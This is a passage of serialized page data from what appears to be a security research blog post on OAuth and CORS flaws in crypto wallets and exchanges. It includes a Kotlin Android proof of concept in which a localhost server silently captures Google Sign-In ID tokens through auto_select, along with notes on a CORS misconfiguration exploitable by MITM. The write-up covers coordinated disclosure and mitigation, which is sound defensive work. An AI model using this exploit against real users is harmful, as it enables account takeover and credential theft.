102022],{"type":29,"value":3354},{"type":24,"tag":158,"props":102024,"children":102025},{"style":188},[102026],{"type":29,"value":2125},{"type":24,"tag":158,"props":102028,"children":102029},{"class":160,"line":24914},[102030],{"type":24,"tag":158,"props":102031,"children":102032},{"style":188},[102033],{"type":29,"value":3967},{"type":24,"tag":25,"props":102035,"children":102036},{},[102037],{"type":29,"value":102038},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":25,"props":102040,"children":102041},{},[102042,102044,102050],{"type":29,"value":102043},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":154,"props":102045,"children":102047},{"className":102046},[],[102048],{"type":29,"value":102049},"auto_select",{"type":29,"value":102051}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":147,"props":102053,"children":102055},{"className":101411,"code":102054,"language":101413,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[102056],{"type":24,"tag":154,"props":102057,"children":102058},{"__ignoreMap":7},[102059,102086,102105,102112,102131,102142,102153,102184,102207,102254,102261,102268,102275,102315,102326,102333,102340,102359,102382,102393,102412,102427,102438,102458,102469,102486,102512,102536,102543,102554,102566,102579,102587,102595,102602,102609,102617,102625,102633,102641,102649,102657,102665,102672,102679,102687,102695,102703,102710,102717,102725,102732,102753,102761,102768,102775,102786,102810,102822,102839,102846,102853,102861,102869,102877,102905],{"type":24,"tag":158,"props":102060,"children":102061},{"class":160,"line":161},[102062,102066,102070,102074,102078,102082],{"type":24,"tag":158,"props":102063,"children":102064},{"style":165},[102065],{"type":29,"value":71720},{"type":24,"tag":158,"props":102067,"children":102068},{"style":165},[102069],{"type":29,"value":493},{"type":24,"tag":158,"props":102071,"children":102072},{"style":496},[102073],{"type":29,"value":71729},{"type":24,"tag":158,"props":102075,"children":102076},{"style":188},[102077],{"type":29,"value":71734},{"type":24,"tag":158,"props":102079,"children":102080},{"style":171},[102081],{"type":29,"value":71739},{"type":24,"tag":158,"props":102083,"children":102084},{"style":188},[102085],{"type":29,"value":71744},{"type":24,"tag":158,"props":102087,"children":102088},{"class":160,"line":213},[102089,102093,102097,102101],{"type":24,"tag":158,"props":102090,"children":102091},{"style":165},[102092],{"type":29,"value":71752},{"type":24,"tag":158,"props":102094,"children":102095},{"style":188},[102096],{"type":29,"value":347},{"type":24,"tag":158,"props":102098,"children":102099},{"style":496},[102100],{"type":29,"value":71761},{"type":24,"tag":158,"props":102102,"children":102103},{"style":188},[102104],{"type":29,"value":71766},{"type":24,"tag":158,"props":102106,"children":102107},{"class":160,"line":238},[102108],{"type":24,"tag":158,"props":102109,"children":102110},{"emptyLinePlaceholder":16},[102111],{"type":29,"value":481},{"type":24,"tag":158,"props":102113,"children":102114},{"class":160,"line":259},[102115,102119,102123,102127],{"type":24,"tag":158,"props":102116,"children":102117},{"style":496},[102118],{"type":29,"value":71789},{"type":24,"tag":158,"props":102120,"children":102121},{"style":188},[102122],{"type":29,"value":71794},{"type":24,"tag":158,"props":102124,"children":102125},{"style":496},[102126],{"type":29,"value":71799},{"type":24,"tag":158,"props":102128,"children":102129},{"style":188},[102130],{"type":29,"value":210},{"type":24,"tag":158,"props":102132,"children":102133},{"class":160,"line":280},[102134,102138],{"type":24,"tag":158,"props":102135,"children":102136},{"style":1914},[102137],{"type":29,"value":71811},{"type":24,"tag":158,"props":102139,"children":102140},{"style":188},[102141],{"type":29,"value":210},{"type":24,"tag":158,"props":102143,"children":102144},{"class":160,"line":301},[102145,102149],{"type":24,"tag":158,"props":102146,"children":102147},{"style":496},[102148],{"type":29,"value":71823},{"type":24,"tag":158,"props":102150,"children":102151},{"style":188},[102152],{"type":29,"value":9376},{"type":24,"tag":158,"props":102154,"children":102155},{"class":160,"line":626},[102156,102160,102164,102168,102172,102176,102180],{"type":24,"tag":158,"props":102157,"children":102158},{"style":188},[102159],{"type":29,"value":71835},{"type":24,"tag":158,"props":102161,"children":102162},{"style":496},[102163],{"type":29,"value":71840},{"type":24,"tag":158,"props":102165,"children":102166},{"style":188},[102167],{"type":29,"value":504},{"type":24,"tag":158,"props":102169,"children":102170},{"style":1108},[102171],{"type":29,"value":71849},{"type":24,"tag":158,"props":102173,"children":102174},{"style":188},[102175],{"type":29,"value":191},{"type":24,"tag":158,"props":102177,"children":102178},{"style":1108},[102179],{"type":29,"value":71858},{"type":24,"tag":158,"props":102181,"children":102182},{"style":188},[102183],{"type":29,"value":2125},{"type":24,"tag":158,"props":102185,"children":102186},{"class":160,"line":668},[102187,102191,102195,102199,102203],{"type":24,"tag":158,"props":102188,"children":102189},{"style":188},[102190],{"type":29,"value":71870},{"type":24,"tag":158,"props":102192,"children":102193},{"style":165},[102194],{"type":29,"value":49682},{"type":24,"tag":158,"props":102196,"children":102197},{"style":188},[102198],{"type":29,"value":71879},{"type":24,"tag":158,"props":102200,"children":102201},{"style":171},[102202],{"type":29,"value":71884},{"type":24,"tag":158,"props":102204,"children":102205},{"style":188},[102206],{"type":29,"value":16038},{"type":24,"tag":158,"props":102208,"children":102209},{"class":160,"line":676},[102210,102214,102218,102222,102226,102230,102234,102238,102242,102246,102250],{"type":24,"tag":158,"props":102211,"children":102212},{"style":188},[102213],{"type":29,"value":71835},{"type":24,"tag":158,"props":102215,"children":102216},{"style":496},[102217],{"type":29,"value":52726},{"type":24,"tag":158,"props":102219,"children":102220},{"style":188},[102221],{"type":29,"value":504},{"type":24,"tag":158,"props":102223,"children":102224},{"style":1108},[102225],{"type":29,"value":71849},{"type":24,"tag":158,"props":102227,"children":102228},{"style":188},[102229],{"type":29,"value":191},{"type":24,"tag":158,"props":102231,"children":102232},{"style":1108},[102233],{"type":29,"value":71916},{"type":24,"tag":158,"props":102235,"children":102236},{"style":165},[102237],{"type":29,"value":35371},{"type":24,"tag":158,"props":102239,"children":102240},{"style":222},[102241],{"type":29,"value":71925},{"type":24,"tag":158,"props":102243,"children":102244},{"style":165},[102245],{"type":29,"value":35403},{"type":24,"tag":158,"props":102247,"children":102248},{"style":1108},[102249],{"type":29,"value":21303},{"type":24,"tag":158,"props":102251,"children":102252},{"style":188},[102253],{"type":29,"value":71938},{"type":24,"tag":158,"props":102255,"children":102256},{"class":160,"line":684},[102257],{"type":24,"tag":158,"props":102258,"children":102259},{"style":188},[102260],{"type":29,"value":60158},{"type":24,"tag":158,"props":102262,"children":102263},{"class":160,"line":700},[102264],{"type":24,"tag":158,"props":102265,"children":102266},{"style":188},[102267],{"type":29,"value":5010},{"type":24,"tag":158,"props":102269,"children":102270},{"class":160,"line":785},[102271],{"type":24,"tag":158,"props":102272,"children":102273},{"emptyLinePlaceholder":16},[102274],{"type":29,"value":481},{"type":24,"tag":158,"props":102276,"children":102277},{"class":160,"line":1447},[102278,102282,102286,102290,102294,102298,102302,102306,102311],{"type":24,"tag":158,"props":102279,"children":102280},{"style":165},[102281],{"type":29,"value":71975},{"type":24,"tag":158,"props":102283,"children":102284},{"style":188},[102285],{"type":29,"value":72001},{"type":24,"tag":158,"props":102287,"children":102288},{"style":222},[102289],{"type":29,"value":1285},{"type":24,"tag":158,"props":102291,"children":102292},{"style":496},[102293],{"type":29,"value":72010},{"type":24,"tag":158,"props":102295,"children":102296},{"style":188},[102297],{"type":29,"value":72015},{"type":24,"tag":158,"props":102299,"children":102300},{"style":496},[102301],{"type":29,"value":40476},{"type":24,"tag":158,"props":102303,"children":102304},{"style":188},[102305],{"type":29,"value":504},{"type":24,"tag":158,"props":102307,"children":102308},{"style":1108},[102309],{"type":29,"value":102310},"\"http://localhost:3000\"",{"type":24,"tag":158,"props":102312,"children":102313},{"style":188},[102314],{"type":29,"value":20955},{"type":24,"tag":158,"props":102316,"children":102317},{"class":160,"line":1509},[102318,102322],{"type":24,"tag":158,"props":102319,"children":102320},{"style":496},[102321],{"type":29,"value":72032},{"type":24,"tag":158,"props":102323,"children":102324},{"style":188},[102325],{"type":29,"value":72037},{"type":24,"tag":158,"props":102327,"children":102328},{"class":160,"line":1527},[102329],{"type":24,"tag":158,"props":102330,"children":102331},{"style":188},[102332],{"type":29,"value":3967},{"type":24,"tag":158,"props":102334,"children":102335},{"class":160,"line":1545},[102336],{"type":24,"tag":158,"props":102337,"children":102338},{"emptyLinePlaceholder":16},[102339],{"type":29,"value":481},{"type":24,"tag":158,"props":102341,"children":102342},{"class":160,"line":1618},[102343,102347,102351,102355],{"type":24,"tag":158,"props":102344,"children":102345},{"style":165},[102346],{"type":29,"value":72059},{"type":24,"tag":158,"props":102348,"children":102349},{"style":165},[102350],{"type":29,"value":493},{"type":24,"tag":158,"props":102352,"children":102353},{"style":496},[102354],{"type":29,"value":72068},{"type":24,"tag":158,"props":102356,"children":102357},{"style":188},[102358],{"type":29,"value":16972},{"type":24,"tag":158,"props":102360,"children":102361},{"class":160,"line":1635},[102362,102366,102370,102374,102378],{"type":24,"tag":158,"props":102363,"children":102364},{"style":496},[102365],{"type":29,"value":72080},{"type":24,"tag":158,"props":102367,"children":102368},{"style":188},[102369],{"type":29,"value":72085},{"type":24,"tag":158,"props":102371,"children":102372},{"style":222},[102373],{"type":29,"value":1285},{"type":24,"tag":158,"props":102375,"children":102376},{"style":465},[102377],{"type":29,"value":72094},{"type":24,"tag":158,"props":102379,"children":102380},{"style":188},[102381],{"type":29,"value":16038},{"type":24,"tag":158,"props":102383,"children":102384},{"class":160,"line":1644},[102385,102389],{"type":24,"tag":158,"props":102386,"children":102387},{"style":496},[102388],{"type":29,"value":72106},{"type":24,"tag":158,"props":102390,"children":102391},{"style":188},[102392],{"type":29,"value":210},{"type":24,"tag":158,"props":102394,"children":102395},{"class":160,"line":1652},[102396,102400,102404,102408],{"type":24,"tag":158,"props":102397,"children":102398},{"style":165},[102399],{"type":29,"value":72118},{"type":24,"tag":158,"props":102401,"children":102402},{"style":188},[102403],{"type":29,"value":504},{"type":24,"tag":158,"props":102405,"children":102406},{"style":1108},[102407],{"type":29,"value":72127},{"type":24,"tag":158,"props":102409,"children":102410},{"style":188},[102411],{"type":29,"value":16038},{"type":24,"tag":158,"props":102413,"children":102414},{"class":160,"line":1704},[102415,102419,102423],{"type":24,"tag":158,"props":102416,"children":102417},{"style":188},[102418],{"type":29,"value":72139},{"type":24,"tag":158,"props":102420,"children":102421},{"style":496},[102422],{"type":29,"value":72144},{"type":24,"tag":158,"props":102424,"children":102425},{"style":188},[102426],{"type":29,"value":210},{"type":24,"tag":158,"props":102428,"children":102429},{"class":160,"line":1713},[102430,102434],{"type":24,"tag":158,"props":102431,"children":102432},{"style":496},[102433],{"type":29,"value":72156},{"type":24,"tag":158,"props":102435,"children":102436},{"style":188},[102437],{"type":29,"value":210},{"type":24,"tag":158,"props":102439,"children":102440},{"class":160,"line":1731},[102441,102445,102449,102454],{"type":24,"tag":158,"props":102442,"children":102443},{"style":496},[102444],{"type":29,"value":72233},{"type":24,"tag":158,"props":102446,"children":102447},{"style":188},[102448],{"type":29,"value":504},{"type":24,"tag":158,"props":102450,"children":102451},{"style":1108},[102452],{"type":29,"value":102453},"\"Test\"",{"type":24,"tag":158,"props":102455,"children":102456},{"style":188},[102457],{"type":29,"value":2125},{"type":24,"tag":158,"props":102459,"children":102460},{"class":160,"line":5485},[102461,102465],{"type":24,"tag":158,"props":102462,"children":102463},{"style":496},[102464],{"type":29,"value":72299},{"type":24,"tag":158,"props":102466,"children":102467},{"style":188},[102468],{"type":29,"value":210},{"type":24,"tag":158,"props":102470,"children":102471},{"class":160,"line":5493},[102472,102477,102481],{"type":24,"tag":158,"props":102473,"children":102474},{"style":188},[102475],{"type":29,"value":102476}," src ",{"type":24,"tag":158,"props":102478,"children":102479},{"style":222},[102480],{"type":29,"value":1285},{"type":24,"tag":158,"props":102482,"children":102483},{"style":1108},[102484],{"type":29,"value":102485}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":158,"props":102487,"children":102488},{"class":160,"line":5553},[102489,102494,102499,102503,102507],{"type":24,"tag":158,"props":102490,"children":102491},{"style":188},[102492],{"type":29,"value":102493}," attributes[",{"type":24,"tag":158,"props":102495,"children":102496},{"style":1108},[102497],{"type":29,"value":102498},"\"async\"",{"type":24,"tag":158,"props":102500,"children":102501},{"style":188},[102502],{"type":29,"value":2058},{"type":24,"tag":158,"props":102504,"children":102505},{"style":222},[102506],{"type":29,"value":1285},{"type":24,"tag":158,"props":102508,"children":102509},{"style":1108},[102510],{"type":29,"value":102511}," \"\"\n",{"type":24,"tag":158,"props":102513,"children":102514},{"class":160,"line":10636},[102515,102519,102524,102528,102532],{"type":24,"tag":158,"props":102516,"children":102517},{"style":188},[102518],{"type":29,"value":102493},{"type":24,"tag":158,"props":102520,"children":102521},{"style":1108},[102522],{"type":29,"value":102523},"\"defer\"",{"type":24,"tag":158,"props":102525,"children":102526},{"style":188},[102527],{"type":29,"value":2058},{"type":24,"tag":158,"props":102529,"children":102530},{"style":222},[102531],{"type":29,"value":1285},{"type":24,"tag":158,"props":102533,"children":102534},{"style":1108},[102535],{"type":29,"value":102511},{"type":24,"tag":158,"props":102537,"children":102538},{"class":160,"line":10652},[102539],{"type":24,"tag":158,"props":102540,"children":102541},{"style":188},[102542],{"type":29,"value":72324},{"type":24,"tag":158,"props":102544,"children":102545},{"class":160,"line":10696},[102546,102550],{"type":24,"tag":158,"props":102547,"children":102548},{"style":496},[102549],{"type":29,"value":72299},{"type":24,"tag":158,"props":102551,"children":102552},{"style":188},[102553],{"type":29,"value":210},{"type":24,"tag":158,"props":102555,"children":102556},{"class":160,"line":10801},[102557,102562],{"type":24,"tag":158,"props":102558,"children":102559},{"style":496},[102560],{"type":29,"value":102561}," unsafe",{"type":24,"tag":158,"props":102563,"children":102564},{"style":188},[102565],{"type":29,"value":210},{"type":24,"tag":158,"props":102567,"children":102568},{"class":160,"line":24754},[102569,102574],{"type":24,"tag":158,"props":102570,"children":102571},{"style":222},[102572],{"type":29,"value":102573}," +",{"type":24,"tag":158,"props":102575,"children":102576},{"style":1108},[102577],{"type":29,"value":102578},"\"\"\"\n",{"type":24,"tag":158,"props":102580,"children":102581},{"class":160,"line":24789},[102582],{"type":24,"tag":158,"props":102583,"children":102584},{"style":1108},[102585],{"type":29,"value":102586}," function handleCredentialResponse(response) {\n",{"type":24,"tag":158,"props":102588,"children":102589},{"class":160,"line":24797},[102590],{"type":24,"tag":158,"props":102591,"children":102592},{"style":1108},[102593],{"type":29,"value":102594}," alert(\"credential: \" + response.credential);\n",{"type":24,"tag":158,"props":102596,"children":102597},{"class":160,"line":24805},[102598],{"type":24,"tag":158,"props":102599,"children":102600},{"style":1108},[102601],{"type":29,"value":3967},{"type":24,"tag":158,"props":102603,"children":102604},{"class":160,"line":24814},[102605],{"type":24,"tag":158,"props":102606,"children":102607},{"emptyLinePlaceholder":16},[102608],{"type":29,"value":481},{"type":24,"tag":158,"props":102610,"children":102611},{"class":160,"line":24856},[102612],{"type":24,"tag":158,"props":102613,"children":102614},{"style":1108},[102615],{"type":29,"value":102616}," window.onload = async function () {\n",{"type":24,"tag":158,"props":102618,"children":102619},{"class":160,"line":24889},[102620],{"type":24,"tag":158,"props":102621,"children":102622},{"style":1108},[102623],{"type":29,"value":102624}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":158,"props":102626,"children":102627},{"class":160,"line":24897},[102628],{"type":24,"tag":158,"props":102629,"children":102630},{"style":1108},[102631],{"type":29,"value":102632}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":158,"props":102634,"children":102635},{"class":160,"line":24905},[102636],{"type":24,"tag":158,"props":102637,"children":102638},{"style":1108},[102639],{"type":29,"value":102640}," google.accounts.id.initialize({\n",{"type":24,"tag":158,"props":102642,"children":102643},{"class":160,"line":24914},[102644],{"type":24,"tag":158,"props":102645,"children":102646},{"style":1108},[102647],{"type":29,"value":102648}," client_id: client_id,\n",{"type":24,"tag":158,"props":102650,"children":102651},{"class":160,"line":24990},[102652],{"type":24,"tag":158,"props":102653,"children":102654},{"style":1108},[102655],{"type":29,"value":102656}," callback: handleCredentialResponse,\n",{"type":24,"tag":158,"props":102658,"children":102659},{"class":160,"line":25023},[102660],{"type":24,"tag":158,"props":102661,"children":102662},{"style":1108},[102663],{"type":29,"value":102664}," auto_select: true\n",{"type":24,"tag":158,"props":102666,"children":102667},{"class":160,"line":25031},[102668],{"type":24,"tag":158,"props":102669,"children":102670},{"style":1108},[102671],{"type":29,"value":8937},{"type":24,"tag":158,"props":102673,"children":102674},{"class":160,"line":25039},[102675],{"type":24,"tag":158,"props":102676,"children":102677},{"emptyLinePlaceholder":16},[102678],{"type":29,"value":481},{"type":24,"tag":158,"props":102680,"children":102681},{"class":160,"line":25076},[102682],{"type":24,"tag":158,"props":102683,"children":102684},{"style":1108},[102685],{"type":29,"value":102686}," google.accounts.id.renderButton(\n",{"type":24,"tag":158,"props":102688,"children":102689},{"class":160,"line":25089},[102690],{"type":24,"tag":158,"props":102691,"children":102692},{"style":1108},[102693],{"type":29,"value":102694}," document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":158,"props":102696,"children":102697},{"class":160,"line":25102},[102698],{"type":24,"tag":158,"props":102699,"children":102700},{"style":1108},[102701],{"type":29,"value":102702}," { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":158,"props":102704,"children":102705},{"class":160,"line":25115},[102706],{"type":24,"tag":158,"props":102707,"children":102708},{"style":1108},[102709],{"type":29,"value":2287},{"type":24,"tag":158,"props":102711,"children":102712},{"class":160,"line":25169},[102713],{"type":24,"tag":158,"props":102714,"children":102715},{"emptyLinePlaceholder":16},[102716],{"type":29,"value":481},{"type":24,"tag":158,"props":102718,"children":102719},{"class":160,"line":25178},[102720],{"type":24,"tag":158,"props":102721,"children":102722},{"style":1108},[102723],{"type":29,"value":102724}," google.accounts.id.prompt();\n",{"type":24,"tag":158,"props":102726,"children":102727},{"class":160,"line":33542},[102728],{"type":24,"tag":158,"props":102729,"children":102730},{"style":1108},[102731],{"type":29,"value":40261},{"type":24,"tag":158,"props":102733,"children":102734},{"class":160,"line":33563},[102735,102740,102744,102749],{"type":24,"tag":158,"props":102736,"children":102737},{"style":1108},[102738],{"type":29,"value":102739}," \"\"\"",{"type":24,"tag":158,"props":102741,"children":102742},{"style":188},[102743],{"type":29,"value":347},{"type":24,"tag":158,"props":102745,"children":102746},{"style":496},[102747],{"type":29,"value":102748},"trimIndent",{"type":24,"tag":158,"props":102750,"children":102751},{"style":188},[102752],{"type":29,"value":9376},{"type":24,"tag":158,"props":102754,"children":102755},{"class":160,"line":82229},[102756],{"type":24,"tag":158,"props":102757,"children":102758},{"style":188},[102759],{"type":29,"value":102760}," }\n",{"type":24,"tag":158,"props":102762,"children":102763},{"class":160,"line":82242},[102764],{"type":24,"tag":158,"props":102765,"children":102766},{"style":188},[102767],{"type":29,"value":72324},{"type":24,"tag":158,"props":102769,"children":102770},{"class":160,"line":82250},[102771],{"type":24,"tag":158,"props":102772,"children":102773},{"style":188},[102774],{"type":29,"value":72254},{"type":24,"tag":158,"props":102776,"children":102777},{"class":160,"line":82258},[102778,102782],{"type":24,"tag":158,"props":102779,"children":102780},{"style":496},[102781],{"type":29,"value":72262},{"type":24,"tag":158,"props":102783,"children":102784},{"style":188},[102785],{"type":29,"value":210},{"type":24,"tag":158,"props":102787,"children":102788},{"class":160,"line":82266},[102789,102793,102797,102801,102806],{"type":24,"tag":158,"props":102790,"children":102791},{"style":496},[102792],{"type":29,"value":72274},{"type":24,"tag":158,"props":102794,"children":102795},{"style":188},[102796],{"type":29,"value":372},{"type":24,"tag":158,"props":102798,"children":102799},{"style":222},[102800],{"type":29,"value":728},{"type":24,"tag":158,"props":102802,"children":102803},{"style":1108},[102804],{"type":29,"value":102805},"\"Login here:\"",{"type":24,"tag":158,"props":102807,"children":102808},{"style":188},[102809],{"type":29,"value":382},{"type":24,"tag":158,"props":102811,"children":102812},{"class":160,"line":82306},[102813,102818],{"type":24,"tag":158,"props":102814,"children":102815},{"style":496},[102816],{"type":29,"value":102817}," div",{"type":24,"tag":158,"props":102819,"children":102820},{"style":188},[102821],{"type":29,"value":210},{"type":24,"tag":158,"props":102823,"children":102824},{"class":160,"line":82314},[102825,102830,102834],{"type":24,"tag":158,"props":102826,"children":102827},{"style":188},[102828],{"type":29,"value":102829}," id ",{"type":24,"tag":158,"props":102831,"children":102832},{"style":222},[102833],{"type":29,"value":1285},{"type":24,"tag":158,"props":102835,"children":102836},{"style":1108},[102837],{"type":29,"value":102838}," \"g_id_signin\"\n",{"type":24,"tag":158,"props":102840,"children":102841},{"class":160,"line":89501},[102842],{"type":24,"tag":158,"props":102843,"children":102844},{"style":188},[102845],{"type":29,"value":72324},{"type":24,"tag":158,"props":102847,"children":102848},{"class":160,"line":89509},[102849],{"type":24,"tag":158,"props":102850,"children":102851},{"style":188},[102852],{"type":29,"value":72254},{"type":24,"tag":158,"props":102854,"children":102856},{"class":160,"line":102855},62,[102857],{"type":24,"tag":158,"props":102858,"children":102859},{"style":188},[102860],{"type":29,"value":72339},{"type":24,"tag":158,"props":102862,"children":102864},{"class":160,"line":102863},63,[102865],{"type":24,"tag":158,"props":102866,"children":102867},{"style":188},[102868],{"type":29,"value":72347},{"type":24,"tag":158,"props":102870,"children":102872},{"class":160,"line":102871},64,[102873],{"type":24,"tag":158,"props":102874,"children":102875},{"style":188},[102876],{"type":29,"value":60158},{"type":24,"tag":158,"props":102878,"children":102880},{"class":160,"line":102879},65,[102881,102885,102889,102893,102897,102901],{"type":24,"tag":158,"props":102882,"children":102883},{"style":188},[102884],{"type":29,"value":72362},{"type":24,"tag":158,"props":102886,"children":102887},{"style":496},[102888],{"type":29,"value":72367},{"type":24,"tag":158,"props":102890,"children":102891},{"style":188},[102892],{"type":29,"value":72372},{"type":24,"tag":158,"props":102894,"children":102895},{"style":222},[102896],{"type":29,"value":1285},{"type":24,"tag":158,"props":102898,"children":102899},{"style":165},[102900],{"type":29,"value":3354},{"type":24,"tag":158,"props":102902,"children":102903},{"style":188},[102904],{"type":29,"value":2125},{"type":24,"tag":158,"props":102906,"children":102908},{"class":160,"line":102907},66,[102909],{"type":24,"tag":158,"props":102910,"children":102911},{"style":188},[102912],{"type":29,"value":3967},{"type":24,"tag":25,"props":102914,"children":102915},{},[102916],{"type":29,"value":102917},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":25,"props":102919,"children":102920},{},[102921],{"type":29,"value":102922},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":395,"props":102924,"children":102926},{"id":102925},"how-to-mitigate",[102927],{"type":29,"value":102928},"How to Mitigate",{"type":24,"tag":25,"props":102930,"children":102931},{},[102932],{"type":29,"value":102933},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":59,"props":102935,"children":102937},{"id":102936},"exploiting-cors",[102938],{"type":29,"value":102939},"Exploiting CORS",{"type":24,"tag":25,"props":102941,"children":102942},{},[102943],{"type":29,"value":102944},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":25,"props":102946,"children":102947},{},[102948,102950,102956],{"type":29,"value":102949},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":154,"props":102951,"children":102953},{"className":102952},[],[102954],{"type":29,"value":102955},"http://",{"type":29,"value":102957}," schema for any subdomain:",{"type":24,"tag":147,"props":102959,"children":102963},{"className":102960,"code":102961,"language":102962,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[102964],{"type":24,"tag":154,"props":102965,"children":102966},{"__ignoreMap":7},[102967,102975,102983,102991],{"type":24,"tag":158,"props":102968,"children":102969},{"class":160,"line":161},[102970],{"type":24,"tag":158,"props":102971,"children":102972},{},[102973],{"type":29,"value":102974},"HTTP 200 OK\n",{"type":24,"tag":158,"props":102976,"children":102977},{"class":160,"line":213},[102978],{"type":24,"tag":158,"props":102979,"children":102980},{},[102981],{"type":29,"value":102982},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":158,"props":102984,"children":102985},{"class":160,"line":238},[102986],{"type":24,"tag":158,"props":102987,"children":102988},{},[102989],{"type":29,"value":102990},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":158,"props":102992,"children":102993},{"class":160,"line":259},[102994],{"type":24,"tag":158,"props":102995,"children":102996},{},[102997],{"type":29,"value":1136},{"type":24,"tag":395,"props":102999,"children":103001},{"id":103000},"cors-misconfiguration-by-lack-of-tls",[103002],{"type":29,"value":103003},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":25,"props":103005,"children":103006},{},[103007,103009,103015],{"type":29,"value":103008},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":154,"props":103010,"children":103012},{"className":103011},[],[103013],{"type":29,"value":103014},"exchange.com",{"type":29,"value":103016}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":25,"props":103018,"children":103019},{},[103020],{"type":29,"value":103021},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":17924,"props":103023,"children":103024},{},[103025,103045],{"type":24,"tag":1790,"props":103026,"children":103027},{},[103028,103030,103035,103037,103043],{"type":29,"value":103029},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":154,"props":103031,"children":103033},{"className":103032},[],[103034],{"type":29,"value":102955},{"type":29,"value":103036}," --> ",{"type":24,"tag":154,"props":103038,"children":103040},{"className":103039},[],[103041],{"type":29,"value":103042},"https://",{"type":29,"value":103044}," requests, even if same-site",{"type":24,"tag":1790,"props":103046,"children":103047},{},[103048,103050],{"type":29,"value":103049},"Firefox and Safari --> works since cookies are sent from an insecure context 